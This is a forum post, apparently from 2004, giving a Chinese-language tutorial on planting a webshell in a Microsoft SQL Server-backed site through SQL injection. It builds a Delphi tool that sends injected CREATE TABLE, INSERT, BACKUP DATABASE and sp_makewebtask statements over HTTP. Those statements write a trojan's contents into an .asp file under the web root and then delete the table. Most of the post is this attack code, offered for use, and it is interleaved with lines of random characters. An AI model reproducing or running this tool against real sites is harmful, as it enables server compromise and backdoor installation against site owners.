数学建模社区-数学中国
标题:
SQL注入得到WEBSHELL
[打印本页]
作者:
韩冰
时间:
2004-11-21 00:13
标题:
SQL注入得到WEBSHELL
<
>一.通过SQL注入得到WEBSHELL的原理:
2 q) ?9 V+ g7 R1 j0 Q' m' |2 [
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
6 J7 g1 s' j1 t$ U( P9 U
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
' a. |1 f) e: G# W
再来看看CZY的方法吧。
6 Z& O2 U( U' G9 L7 ^9 O2 G4 r4 _
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
0 N. Y; S$ Q6 I1 [6 m9 j P
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
1 r% x4 A2 R, G2 S
二.利用DELPHI去实现功能的前言
# S$ p# z: T6 y( I1 q& t
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
- ~8 Q: m: x8 l7 u
; o" \, @* B. i1 n. H" f
三.如何利用DELPHI得到WEBSHELL。
# Y7 U: t+ {0 U3 o2 L, h# g# [* K0 \
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
9 J" j" T9 Z& @! J3 Y f- p
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
8 Z4 u. M. P5 I1 P3 }
) P5 s" g! U5 [; ^
2 F5 E0 q4 K- Z/ ?) n; v1 e5 T5 o
+ g5 F/ E0 O$ k9 e' R4 S+ L
现在来写程序了。
3 S, t$ _3 o5 o6 N& E- a! |- k
我们首先定义一个RECORD。
- b- {5 c9 H' h3 Q
如下:
1 U5 f% z# S8 W7 M
Type
/ @; Q' b2 ^& Y0 A/ p
SetOption = Record
1 X* f9 o% s U* V6 @# `: n
TableName : String; //用来保存要创建的表名.
# k, `3 y; @( x7 ~* j! ^0 _
FieldName : String; //用来保存要创建的字段名.
& a4 q' Y* \/ \3 M' g; }
FiledType : String; //用来保存创建的字段名类型.
' _# J) {7 l2 t# {, B" h
End;
$ [/ c" X) Y9 W I
FiledType字段类型的值是以下类型的一种:
$ h1 S( J. k$ u- L7 ?. C& l% M
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
: G- }0 J5 P) @) a8 }
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
- n- E: ]' v) u: F' K. b
再定义一个全局变量:
, g' m E N* e& ?5 V
Var
1 @& o8 }! K+ z' R3 s9 Q
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
% C& _# L8 e4 X" k$ P
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
! @8 C+ Y& Y1 N. f# ^& u2 Y! L
代码如下:
W# G) G6 r. }. P: Z! r
procedure TMainForm.FormCreate(Sender: TObject);
4 r5 j q9 y6 X/ p6 A$ G3 A* V/ o
begin
A) T6 j; Q1 j/ |
sOption.TableName :='cyfd'
: I& d4 c, p) A$ y" R; \0 u
sOption.FieldName :='gmemo'
" S1 j3 z q2 n! R5 }8 U: @
sOption.FiledType :='text'
$ i5 |! O9 S9 @
end;
4 I- I9 e* Y( v- k9 v
现在我们添加开始执行命令的代码。
9 r1 r2 F3 X$ E j l- G
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
( q0 ?5 d4 ?7 w
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
2 q: r' s5 N0 ]# Y- J
在程序开始执行前,我们得先检查一下用户的输入
c h" ~( z' u) Y# ]
定义一个Checkinput函数.
d" d: Y7 x) ^9 g
如下:
0 V- z0 B# ]! N# A, r0 e
Function CheckInput : Boolean;
6 U8 F5 R, {( G0 N: d
Begin
6 Y" _; |" d8 \; I
Result := False;
# A3 u: F4 _" i5 n. H Q; Z
if Trim(urlet.Text) = '' then
! ^ c* `: I3 J
Begin
. w1 ]5 @% q) N) c) x0 H* Y
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
- w9 t1 k: w. ^" ^
Exit;
% ^. |( J. \" L" n& P7 t
End;
1 w. E8 R1 a0 X! {/ v4 |+ |$ j2 e
if Trim(ShellPathET.Text) = '' then
% Q8 H. o7 f. M8 t/ w
Begin
9 D- C( P7 X A, U+ g
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
* u% H/ s+ R0 u. k
Exit;
& O9 Q) Z, M* T4 g
End;
. p+ p- g1 c- h. m- w) ~6 s, Q
IF DefBDoor.Checked then
/ R/ V$ E* ]2 y0 C
Begin
$ F: x1 w1 j) t5 Q' p, n, q. {
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
7 p4 q7 n# ^8 H* W6 E* u7 G+ |
Begin
1 r! Z0 {8 S8 ^
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
. A! c/ G$ G$ |: f1 ?
Exit;
8 ]& |* K! `7 ~) A2 {; V6 i. p E
End;
* p8 v8 Z2 V0 O: t1 ^; a/ A
End
" m8 D, P! | \7 G
Else
: r% \" ?- l, X2 G
if Not FileExists(CustomBdoorET.Text) then
2 v, y& R1 h1 Q1 [0 w9 q2 j( Z2 K
Begin
9 @1 D; X/ |: p7 V$ A
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
$ j1 z. j; x" j
Exit;
2 r; c$ l9 C# T
End;
1 z. r: ?. f: ^8 H" p, V/ k* W
Result := True;
. m) ^/ l- M6 z! {% F
End;
1 a J( E* X5 O4 l/ C8 ?
在最开始加入:
. i5 I2 U" `0 k. m3 h) i6 o/ c$ B# z
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
7 I" S( s5 x* Z/ L
好了,如果用户输入没什么错,我们就来下面的代码。
/ } w% W, C `. D3 M* K
首先我们把IsStop设为假。创建BdoorList。
6 ^& J4 U! h4 Y6 j* C% X0 S
BDoorList := TstringList.Create;
0 n: f4 J& m) D
再加木马内容到BDoorlist.
% x3 q" ]; q7 f; d `& q [" b
BDoorList.LoadFromFile(CustomBdoorET.text);
( Q$ Z8 S% W1 z
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
; v! h( l; N* k
代码如下:
& U/ X& @8 g! h7 |$ V
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
" e% q+ I6 V" M
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
* G- \8 P; {3 C+ G; @1 O8 y4 [
接下来.我们就提交建表的功能了.
# J, g. ?1 _2 @* @0 K! l
Memo.Lines.Add('建表...');
8 x |* J1 K4 r, v% b4 G+ l$ M
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
m7 @+ I; L+ C3 a: _7 d
这样我们就创建了一个表。然后.我们向表中加记录:
( O) _7 x3 F1 T+ s+ @+ g
代码如下:
9 @5 D5 S( ]% K- U
Memo.Lines.Add('加数据...');
6 ^. M- E" E: ?# z
Memo.Lines.Add('');
& o8 a8 g( m) p/ C$ k5 |' q- q' @
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
1 V% i8 C7 l" K6 E5 ^
Begin
: |2 e$ R% ^4 ? u/ O- ^8 Y
IF IsStop then //这里如果点了停止按纽程序将终止任务.
3 F4 Z/ K# D. }' T: W) f
Begin
! d/ a* O/ I; [5 z8 C X% D2 r7 c8 v! N
BDoorList.Free;
( r5 |: s+ H' s# a6 D, n0 U* y% ~: E
Exit;
% \! T5 F' f; j, Q/ r, d
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
8 D- [ U& h. H, B
Memo.Lines.Add('Add Line '+Inttostr(i+1));
5 K: E( k, O$ D4 V. ^
End;
& q F* [+ `9 I0 j
现在就是导出数据生成木马了.
, I2 W) ^5 E0 _$ ]( L
Memo.Lines.Add('导出数据...');
" G3 Q- t1 ^* T$ M* J9 k
Memo.Lines.Add('');
6 c; U* b3 f# B8 M T! d1 x
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
" v( u- n, ^# o& | L
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
" R% a/ `3 [% s- W2 F1 G& p
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
/ y7 a: p8 |7 t0 ~. ]3 y" F
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
4 N0 y& k' F6 h4 b
这样我们的任务就完成了。下面来释放变量.
7 f( s! u2 z) [+ y5 q# T& w1 l
BDoorList.Free;
+ D$ n3 [5 S. p! G% G, }# E
再来向停止按纽中添加点击事件:
7 F; l( O! @2 {$ ?2 @% n" T; e
一行代码就行了:IsStop := True;
6 p- B8 B5 o3 n0 n7 F
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
. _1 u' U, f1 E2 U( _% m, s
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
8 d7 ]( q" u- J
第一个名称为:TableNameET //保用户输入的存临时表
2 [. Z: J$ A# W- h! M m
第二个名称为:FieldNameET //用来保存用户输入的字段名.
* A, t. a7 v" T2 U
再添加一个Combobox //用来保存用户所选的字段类型值.
/ {9 R: x7 ^! Z) U7 `6 C
名称:FieldTypeCombox
& Y( a7 q2 C. p; V1 a; [- E8 }
OK.界面如下:
* W4 f* R( p' M
5 w! t9 E4 n8 Z' }: q4 h) p( E( q
代码如下:
+ a; T5 h9 `, Z1 m0 w
定义一个过程,主表单好调用这个设置。
6 f6 ]5 _3 E) J& u$ c( R$ m& z" R3 b
Procedure ShowSet;
: D5 n R" \! U$ S9 l
Begin
, O# e' A! A6 P9 W
Application.CreateForm(TSetForm,SetForm);
6 k; x/ s3 R' D4 x- u
With SetForm do
" |* h; V0 |+ q" I: m& p. S
Begin
/ l* r/ O# ] z# j2 Q
TableNameET.Text := sOption.TableName;
8 F8 @7 C) Q- ^: i1 O
FieldNameET.Text := sOption.FieldName;
4 E* t" A+ @- u7 B8 `
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
5 S: e! |; d% ]5 U
End;
" ^( g; N0 b$ _
SetForm.ShowModal;
* v8 I% s+ `$ {" Q' l8 a( U
SetForm.Free;
9 v5 {& @" j, l% Z. B. a& S$ k& K
End;
' k1 X* ~: I# Z4 R) u
在主表单中设置的点击事件中添加上showset过程就行了。
# J5 u0 C1 w. w; E
下面就是点击确定的代码了。
2 x% L8 h9 h: y/ z. ^, C
IF CheckInput then
! X/ Y+ @! v- E/ ~$ x) u
Begin
" x# `- i3 L% _/ V1 i8 S9 u! Z
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
0 n' o# U6 |: J' M
sOption.FieldName := Trim(FieldNameET.Text);
' p1 P7 L* r4 P" u) S+ J5 H
sOption.FiledType := FieldTypeCombox.Text;
/ t; V0 H% b3 S: ]& @9 S( V
Close;
1 L" K9 c+ E+ L! V H. l. d' V
End;
B6 k* k# R# ^: I' m
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
) Z6 L3 S7 I/ {( \5 B( D: n+ h* r1 J
代码如下:
+ y4 v" U# @3 ?; `
Function CheckInput : Boolean;
- F( Q* }0 n7 h; O: `, v
Begin
8 K2 {, P. H& }+ A* a& G
Result := False;
$ ]% Y z% G8 r; W1 n
IF Trim(TableNameET.Text)='' then
7 K% _* q7 a! }" h
Begin
" r. y. o( T, M0 G% V
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
: j- p* B7 b9 F4 d. N8 U
Exit;
. Y' N! d$ K' H% M' m
End;
) i5 h7 }( S" q* e2 V: o5 ^
IF Trim(FieldNameET.Text)='' then
: `& f! i1 j4 X0 T! R9 q
Begin
+ h% _3 W3 R" `7 L2 a; C
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
, y) w0 ]& k: |0 d) c
Exit;
/ W6 e' I$ ?/ Z
End;
& V; _! V1 [& A& Z% L8 d
Result := True;
: W; X3 G+ V8 I
End;
! j; d. F( B; ^ Z
到这里程序就完了。</P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5